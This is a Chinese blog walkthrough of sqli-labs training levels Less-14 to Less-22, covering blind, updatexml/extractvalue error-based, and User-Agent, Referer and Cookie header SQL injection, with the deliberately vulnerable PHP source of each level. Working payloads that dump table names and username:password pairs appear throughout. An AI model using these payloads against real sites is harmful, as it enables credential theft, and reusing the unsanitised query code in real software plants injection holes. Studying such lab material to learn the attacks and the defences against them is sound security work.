最后得出数据库的名字为“security”

继续使用相同的方法继续爆出表明、字段名和其他信息

PHP 文件源码中的 SQL 语句

// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-15

POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号 POST 型盲注)

判断注入类型

用户名随便写点东西,使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容。

网页提示登录失败,并且没有返回任何信息

' OR 1 = 1#

尝试使用括号制造 sql 语句报错信息,但是网页仍然没有回显。说明此处只有通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以

') OR 1 = 1#

使用 Burp 抓包

获取数据库信息

我们使用 bool 盲注

判断表有几列

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,登录成功,无 SQL 报错

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,登录失败,有 SQL 报错

所以,使用单引号加括号闭合,并且有 2 列

获取数据库名的长度

uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名

uname=a') OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

PHP 源码文件 SQL 语句

// connectivity 
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
  		
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in\n\n " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      //echo 'Your Login name:'. $row['username'];
      echo "<br>";
      //echo 'Your Password:' .$row['password'];
      echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"  />';			

      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      //print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg"   />';	
      echo "</font>";  
}

Less-16

POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)

判断注入类型

用户名输入框,单引号闭合,OR 运算符构造恒真条件,使用“#”注释后面的 SQL 语句

网页提示登录失败,未返回任何信息

' OR 1 = 1#

注入以下的内容,页面都是提示登录失败

a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#

注入双引号和括号,页面提示登录成功,此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以

") OR 1 = 1#

使用 Burp 抓包测试

获取数据库信息

我们使用布尔盲注

判断表有几列

uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,登录成功,无 SQL 报错

uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,登录失败,无 SQL 报错

得出数据库名字的长度

uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名

uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

PHP 文件源码 SQL 语句

// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-17

本关卡有两个 SQL 语句,其中一个进行了强效的过滤,我们需要发现第二个注入点。同时本关卡可以使用 报错注入 进行攻击

判断注入类型

我们先按照网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码

image-20240518092045723

我们切换到 Less-11,使用修改后的密码进行登录,网页提示我们登录成功,说明我们正常修改了密码

image-20240518092148994

接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败

a' OR 1 = 1#

image-20240518092255120

测试一下所有的注入,发现这些注入网页都回显修改密码失败

a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

抓包得知网页需要利用 Post 方法起脚的参数格式如下

uname=&passwd=&submit=Submit

接下来对新密码字段进行闭合测试,使用 单引号闭合仍然失败

uname=a&passwd=a'#&submit=Submit

使用以下集中注入仍然全部失败:

uname=a&passwd=a')#&submit=Submit
uname=a&passwd=a'))#&submit=Submit
uname=a&passwd=a"#&submit=Submit
uname=a&passwd=a")#&submit=Submit
uname=a&passwd=a"))#&submit=Submit

我们猜测可能是因为用户“a”不存在的原因,我们输入一个正确的用户“admin”

uname=admin&passwd=a'&submit=Submit

image-20240518092722982

网页回显成功,并且报了一个 SQL 语句错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有两次查询,第一次查询 uname,判断用户是否存在。第二次查询是根据 uname 来修改 passwd,并且这个查询存在注入点

updatexml() 报错注入

我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:

UPDATEXML (XML_document, XPath_string, new_value);

参数 说明
XML_document String,XML 文档对象的名称
XPath_string Xpath 格式的字符串
new_value String,用于替换查找到的符合条件的数据

其中参数 XPath_string 需要是“/xxx/xxx/...”的格式,进行查询时将会按照这个参数进行操作。注意:如果 XPath_string 是一个错误的路径,但是该路径符合参数规范,就不会报错。反之,参数不符合规范,则会触发报错,我们就是利用这个,通过 updatexml() 函数的报错回显我们需要的信息。

为了更好的理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySQL版本

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

image-20240518093819346

爆表明,XPath_string 参数可以使用一个SELECT 查询结果,使用 group_concat() 函数聚合

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit

image-20240518094006501-1715996407383-1

爆字段名

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

image-20240518094059871

获取目标信息

使用报错注入回显用户名和密码,发现网页回显“You can't specify target table 'users' for update in FROM clause”

uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)#&submit=Submit

image-20240518094224145

这里我们无法直接从 users 表拿数据,我们可以先用一个暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

image-20240518094511679

通过修改 LIMIT 返回行,可以取出其他行的数据

PHP源码文件中的SQL语句

// sql查询语句
// check_input() 函数,对 uname 的值进行了过滤
$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

// connectivity 
// 先查询用户名是否存在
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

//echo $row;
// 只有用户名存在了,才可以执行if中的update更新语句
if($row)
{
      //echo '<font color= "#0000ff">';	
      $row1 = $row['username'];  	
      //echo 'Your Login name:'. $row1;
      $update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
      mysql_query($update);
      //echo "<br>";	
	
      if (mysql_error())
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
      }
      else
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;		
            echo "<br>";
	    echo "</font>";
      }
      
      echo '<img src="../images/flag1.jpg"   />';	
      //echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else  
{
      echo '<font size="4.5" color="#FFFF00">';
      //echo "Bug off you Silly Dumb hacker";
      echo "</br>";
      echo '<img src="../images/slap1.jpg"   />';
      echo "</font>";  
}
// check_input() 函数
function check_input($value)
{
      if(!empty($value))
      {
            // truncation (see comments)
          	// 限制了长度
            $value = substr($value,0,15);
      }

      // Stripslashes if magic quotes enabled
      // 判断 get_magic_quotes_gpc() 是否开启
      if (get_magic_quotes_gpc())
      {
          	// 开启了,就对单引号、双引号等危险字符进行转义
            $value = stripslashes($value);
      }
      
      // Quote if not a number
      if (!ctype_digit($value))
      {
            // 若不是数字,使用这个 mysql_real_escape_string() 函数进行转义
            $value = "'" . mysql_real_escape_string($value) . "'";
      }
      else
      {
          	// 是数字,则转换为整型
            $value = intval($value);
      }
      return $value;
}

Less-18

POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)

判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等

image-20240518100137888

接下来注入个错误的用户名和密码,网页显示登录失败且无其他回显

判断注入类型,在用户名和密码分别使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

当我们登录成功时,网页是回显的User Agent,我们猜测 User Agent 头可能存在注入。我们使用Brup抓包,注入各种参数试试,都登录失败

我们推断 uname 和 passwd 字段都进行了强效过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当在 User Agent 注入单引号闭合时,网页返回报错信息

User-Agent: '

image-20240518101002832

到此,我们得知在登录成功之后会执行另一个 SQL 语句,该语句会因为 User Agent 头而存在字符型注入的漏洞

获取数据库信息

由于我们不知道第二个SQL语句具体长啥样子,因此我们要先测试如何正确闭合该SQL语句。

使用单引号闭合后,使用“#”注释掉后面的语句,注入失败

User-Agent: '#

注入2个连续的单引号,发现闭合成功,由此可见2个单引号分别闭合了两侧的单引号

User-Agent: ''

在注入的两个单引号之间可以插入其他 SQL 语句,我们这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 SQL 语句时,相当于把它分割成了两部分,插入 updatexml() 报错时要用 OR 进行连接。

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

image-20240518101509487

知道了闭合方式之后,注入的步骤和 Less-17 差不多。

爆表明:XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

image-20240518101704555

爆字段

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

image-20240518101748663

获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

image-20240518101908241

通过修改 LIMIT 子句的返回行数,就可以取出其他行的查询结果

PHP源码文件中的SQL语句

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
      // check_input() 函数对uname和passwd进行了强过滤
      $uname = check_input($_POST['uname']);
      $passwd = check_input($_POST['passwd']);
	
      $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
      $result1 = mysql_query($sql);
      $row1 = mysql_fetch_array($result1);
      if($row1)
      {
            echo '<font color= "#FFFF00" font size = 3 >';
	    $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	    mysql_query($insert);
	    //echo 'Your IP ADDRESS is: ' .$IP;
	    echo "</font>";
	    //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';			
	    echo 'Your User Agent is: ' .$uagent;
	    echo "</font>";
	    echo "<br>";
	    print_r(mysql_error());			
	    echo "<br><br>";
	    echo '<img src="../images/flag.jpg"  />';
	    echo "<br>";
      }
      else
      {
            echo '<font color= "#0000ff" font size="3">';
	    //echo "Try again looser";
	    print_r(mysql_error());
	    echo "</br>";			
	    echo "</br>";
	    echo '<img src="../images/slap.jpg"   />';	
	    echo "</font>";  
      }
}

Less-19

POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)

判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer 是一个 HTTP 头的一个字段,用来告诉服务器该网页是从哪个页面链接过来的。

image-20240518102310510

接下里注入个错误的用户名和密码,网页显示登录失败且回显了 IP Address

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

当我们登录成功时,网页回显的是 Referer,我们推测 Referer 头可能存在注入。使用 Brup 抓包,注入正确的 uname 和 psswd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。

Referer: '

image-20240518102708160

到此,我们得知在登录成功之后会执行另一个SQL语句,该语句会因为 Referer 头而存在字符型注入漏洞

获取数据库信息

我们开始测试闭合方式。先使用单引号闭合,使用“#”注释掉后面的SQL语句,注入失败

注入2个不连续的单引号,发现闭合成功,由此可见2个单引号分别闭合了两侧的单引号

Referer: ''

image-20240518103909944

注入步骤与Less-17差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数对XML 文档进行子查询的函数。函数的原型为:

extractvalue(XML_document, XPath_string)

参数 说明
XML_document XML_document
XPath_string Xpath 格式的字符串

爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入

Referer: ' OR extractvalue(1,concat("!",database())) OR '

image-20240518104352475

爆表明

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

image-20240518104430976

爆字段

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '

image-20240518104500284

获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据

Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '

image-20240518104634815

PHP 源码文件的SQL语句

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')

Less-20

POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

判断注入类型

先输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less-20的页面没有变化,这应该是 cookie 起到的作用。

cookie 是网站为了辨别用户身份,进行 Session 跟踪而存储在用户本地浏览器环境上的数据。想要回到登录界面,我们需要清除 Cookie

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

根据 Cookie 的作用和原理,网页在用户登录后,会利用浏览器记录用户的登录状态,在用户刷新、重新登录或进入其他相关页面时,不需要再次登录。

我们猜测,Cookie是一个注入点

Cookie: uname=admin',网页回显语法错误,说明 Cookie 存在字符型的 SQL 注入漏洞

image-20240518110019227

在单引号之后用“#”把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合

Cookie: uname=admin'#

image-20240518110129390

获取数据路信息

首先我们判断有几列我们可用,因为网页回显了 Your Login name、Your Password、You ID一共3个字段,猜错有3列可用,使用联合查询注入3个常熟验证猜想,得到 3 列的回显位置

Cookie: uname=' UNION SELECT 1,2,3#

image-20240518110430277

接下来注入操作和 Less-1一样,这里需要在 Cookie 进行注入

爆数据库名字

Cookie: uname=' UNION SELECT database(),2,3#

爆表明

Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#

爆字段名

Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

获取目标信息

Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#

image-20240518110557985

PHP源码文件

// 验证表单,用于用户登录
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
      // 强过滤
      $uname = check_input($_POST['uname']);
      $passwd = check_input($_POST['passwd']);

      $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
      $result1 = mysql_query($sql);
      $row1 = mysql_fetch_array($result1);
      $cookee = $row1['username'];
      if($row1)
      {
            echo '<font color= "#FFFF00" font size = 3 >';
          	// 设置 Cookie
            setcookie('uname', $cookee, time()+3600);	
        // 向客户端发送原始的 HTTP 头部
	    header ('Location: index.php');
	    echo "I LOVE YOU COOKIES";
	    echo "</font>";
	    echo '<font color= "#0000ff" font size = 3 >';			
	    //echo 'Your Cookie is: ' .$cookee;
	    echo "</font>";
	    echo "<br>";
	    print_r(mysql_error());			
	    echo "<br><br>";
	    echo '<img src="../images/flag.jpg" />';
	    echo "<br>";
      }
      else
      {
            echo '<font color= "#0000ff" font size="3">';
	    //echo "Try again looser";
	    print_r(mysql_error());
	    echo "</br>";			
	    echo "</br>";
	    echo '<img src="../images/slap.jpg" />';	
	    echo "</font>";  
      }
}
// Cookie有效时间内,把Cookie中的uname剥离出来进行查询
if(!isset($_POST['submit']))
{
      $cookee = $_COOKIE['uname'];
      $format = 'D d M Y - H:i:s';
      $timestamp = time() + 3600;
      echo "<center>";
      echo '<br><br><br>';
      echo '<img src="../images/Less-20.jpg" />';
      echo "<br><br><b>";
      echo '<br><font color= "red" font size="4">';	
      echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
      echo "</font><br>";	
      echo '<font color= "cyan" font size="4">';	
      echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
      echo "</font><br>";			
      echo '<font color= "#FFFF00" font size = 4 >';
      echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
      echo '<font color= "orange" font size = 5 >';			
      echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
      echo "<br></font>";
      $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
      $result = mysql_query($sql);
      if (!$result)
      {
            die('Issue with your mysql: ' . mysql_error());
      }
      $row = mysql_fetch_array($result);
      if($row)
      {
            echo '<font color= "pink" font size="5">';	
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo '<font color= "grey" font size="5">';  	
            echo 'Your Password:' .$row['password'];
            echo "</font></b>";
            echo "<br>";
            echo 'Your ID:' .$row['id'];
      }
      else	
      {
            echo "<center>";
            echo '<br><br><br>';
	    echo '<img src="../images/slap1.jpg" />';
	    echo "<br><br><b>";
	    //echo '<img src="../images/Less-20.jpg" />';
      }
      echo '<center>';
      echo '<form action="" method="post">';
      echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
      echo '</form>';
      echo '</center>';
}	
else
{
      echo '<center>';
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 6 >';
      echo " Your Cookie is deleted";
      setcookie('uname', $row1['username'], time()-3600);
      header ('Location: index.php');
      echo '</font></center></br>';
}		

Less-21

Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

判断注入类型

输入正确的用户名和密码登录,网页回显大量信息,刷新网页无变化。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

抓包测试,发现Cookie中的uname的值是乱码

image-20240518111245424

最后的%3D是“=”

“YWRtaW4=”解码后为“admin”

由此我们得知Cookie会对uname的值进行base64编码,这就是与Less-20关卡的区别,我们只需要将上一题目的注入内容都进行base64编码之后再进行注入,即可完成题目

PHP源码SQL语句

setcookie('uname', base64_encode($row1['username']), time()+3600);

$cookee = base64_decode($cookee);
$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result = mysql_query($sql);

Less-22

Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)

与上题类似,只是这次使用单引号闭合,网页回显语法错误

image-20240518111850999

我们使用双引号闭合,网页正常回显数据,说明Cookie存在使用双引号闭合的字符型的SQL注入漏洞。

Cookie: YWRtaW4iIw==

其他的都是与上题目类似,改为双引号闭合即可

PHP源码文件

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result = mysql_query($sql);

参考博客:sqli-labs 通关指南:Less 20 ~ 22 - 乌漆WhiteMoon - 博客园 (cnblogs.com)

标签:网页,Less,宝典,echo,uname,SQL,id,SELECT,注入
From: https://www.cnblogs.com/zxywlaq/p/18199225

相关文章

  • SQL 学习笔记(二)
    本次主要内容如下:1,视图视图是虚表,不会真实存储数据,需要通过在创建视图的时候用SELECT语句创建。视图的好处:数据安全性,只开放必要的数据字段;提高数据使用效率,减少频率使用SELECT语句查询,直接通过视图可以查询;视图的创建:CREATEVIEWASSELECTXXXXFROMTABLE;视图的修改......
  • Centos Mysql 主从备份
    1、主库设置my.cnfserver_id=2必须唯一binlog-do-db=abo-assist备份的数据库log-bin=mysql-bin开启binlog创建同步账号并授权CREATEUSER'repl'@'%'IDENTIFIEDWITH'mysql_native_password'BY'123456';GRANTREPLICATIONSLAVEON.TO&#......
  • sqlserver03
    1、开始→程序→MicrosoftSQLServer→SQLServerManagementStdio。2、在“连接到服务器”对话框中,选择“Windows身份验证”,点击“连接”,进入SQLServerManagementStdio操作界面。3、数据库的安全性实验:设置SQLServer的安全认证模式,实现对SQLServer的用户和角......
  • mysql 存储过程
    CREATEDEFINER=`root`@`%`PROCEDURE`ProcessLargeTable`()BEGINDECLAREdoneINTDEFAULTFALSE;DECLAREcur_idBIGINT;DECLAREmax_idBIGINTDEFAULT691148169325;--设置你的最大IDDECLARElast_idBIGINTDEFAULT664476955416;--设......
  • mysql根据经纬度计算距离
    一、使用地理空间函数ST_DISTANCE:MySQL提供了一组地理空间函数,可以更方便地处理地理数据。使用这些函数,你可以计算点之间的距离、获取最近的点等等。下面是一个示例查询,展示如何使用地理空间函数计算经纬度距离单位(百千米):代码示例:--单位百公里SELECTid,latitude,long......
  • lesson8
    单词monasteryn修道院temple(和尚住的)mosque(伊斯兰教的清真寺)monk和尚nun修女/尼姑church教堂cathedral大教堂St.saintn圣徒rashlyadv莽撞的rashadjDontmakerashpromisesrecklessadj鲁莽的recklessdrivingimpulsiveadj冲动的impulsenenc......
  • Redis MySQL
     ---###介绍一下常用的RedisMySQL中间件呗Redis和MySQL在许多应用中经常一起使用,Redis作为缓存层提供快速的数据访问,而MySQL作为存储层提供持久化的数据存储。在这两个系统之间,中间件可以帮助管理和优化它们之间的交互。以下是一些常用的Redis和MySQL中间件:1.**ProxySQL*......
  • 【MySQL】时区修改
    背景实际时间和MySQL时间对不上执行:1showvariableslike"%time_zone%";发现时区是SYSTEM解决方案需要改成+8执行:1setglobaltime_zone='+8:00';2settime_zone='+8:00';此时再查看time_zone,显示↓ 再执行确认与北京时间(东八区标准时)是否一致1selec......
  • 数据库(MySQL)基础
    时间:2024-05-11星期六mysql基础mysql基础学习内容MySQL数据库安装与配置、SQL基本查询、SQL写入操作、MySQL表操作、SQL高级查询、MySQL基本函数数据库分类主流关系型数据库商用数据库:DB2、Oracle开源免费数据库:MySQL、SQLServer(微软开发的,主要用于windows系统,现在也支持......
  • sql:left join和join区别
    join,即innerjoin,表示两个表都必须存在的联结。它返回的是两个表有交集的部分,其余没有关联的部分则不显示。这种联结方式是排他性的,即如果某行在其中一个表中存在,但在另一个表中没有匹配的行,那么这行就不会出现在结果集中。leftjoin,即左联结,表示以左边的表为主,不管右边的表有......